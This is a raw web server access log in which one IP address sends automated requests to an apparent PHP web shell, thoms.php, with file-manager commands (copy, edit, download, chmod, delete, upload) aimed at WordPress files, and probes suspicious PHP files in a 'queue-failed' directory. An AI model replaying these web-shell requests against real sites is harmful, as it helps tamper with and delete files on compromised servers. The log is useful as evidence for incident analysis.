45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-activate.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-activate.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-activate.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-activate.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flicense.txt&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flicense.txt&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flicense.txt&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flicense.txt&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flicense.txt&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flicense.txt&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flicense.txt&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:57 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fmah.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fmah.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fmah.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fmah.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fmah.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fmah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /thoms.php?edit=wp-trackback.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /thoms.php?edit=wp-trackback.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /thoms.php?edit=wp-activate.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /thoms.php?edit=wp-activate.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /bfl.com.tw/queue-failed HTTP/1.1" 301 795 "http://163.245.207.76:443/bfl.com.tw/queue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /bfl.com.tw/queue-failed/ HTTP/1.1" 200 6400 "https://163.245.207.76:443/bfl.com.tw/queue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /thoms.php?dl=cjfuns.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=cjfuns.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /thoms.php?chmod=index.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:58 -0400] "GET /thoms.php?del=index.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:59 -0400] "GET /bfl.com.tw/queue-failed/index.php HTTP/1.1" 200 6413 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:59 -0400] "GET /bfl.com.tw/queue-failed/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:59 -0400] "GET /thoms.php?chmod=profile.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:59 -0400] "GET /bfl.com.tw/queue-failed/admin.php HTTP/1.1" 200 985 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:59 -0400] "GET /thoms.php?chmod=license.txt&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:59 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed%2Flicense.txt&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed%2Flicense.txt&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:59 -0400] "GET /thoms.php?dl=profile.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:59 -0400] "GET /thoms.php?del=admin.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:59 -0400] "GET /thoms.php?p=bfl.com.tw%2Fqueue-failed&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fqueue-failed&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:59 -0400] "GET /thoms.php?dl=index.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:59 -0400] "GET /bfl.com.tw/queue-failed/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:59 -0400] "GET /thoms.php?dl=license.txt&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:59 -0400] "GET /thoms.php?p=bfl.com.tw%2Fqueue-failed&view=profile.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fqueue-failed&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:59 -0400] "GET /thoms.php?del=cjfuns.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=cjfuns.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:59 -0400] "GET /bfl.com.tw/queue-failed/cjfuns.php HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:59 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed%2Fprofile.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed%2Fprofile.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:59 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed%2Fadmin.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed%2Fadmin.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:00 -0400] "GET /thoms.php?p=bfl.com.tw%2Fqueue-failed&view=cjfuns.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fqueue-failed&view=cjfuns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:00 -0400] "GET /thoms.php?chmod=cjfuns.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=cjfuns.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:00 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed%2Fcjfuns.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed%2Fcjfuns.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:00 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fqueue-failed%2Findex.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fqueue-failed%2Findex.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:00 -0400] "GET /thoms.php?p=bfl.com.tw%2Fqueue-failed&view=admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fqueue-failed&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:00 -0400] "GET /thoms.php?dl=admin.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:00 -0400] "GET /thoms.php?p=bfl.com.tw%2Fqueue-failed&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fqueue-failed&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:00 -0400] "GET /thoms.php?p=bfl.com.tw%2Fqueue-failed&view=license.txt HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fqueue-failed&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:00 -0400] "GET /thoms.php?del=profile.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=profile.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:00 -0400] "GET /thoms.php?chmod=admin.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:00 -0400] "GET /thoms.php?p=bfl.com.tw%2Fqueue-failed&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fqueue-failed&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:00 -0400] "GET /thoms.php?del=license.txt&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:00 -0400] "GET /thoms.php?edit=wp-mail.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:00 -0400] "GET /thoms.php?edit=wp-mail.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:00 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-settings.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-settings.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:00 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
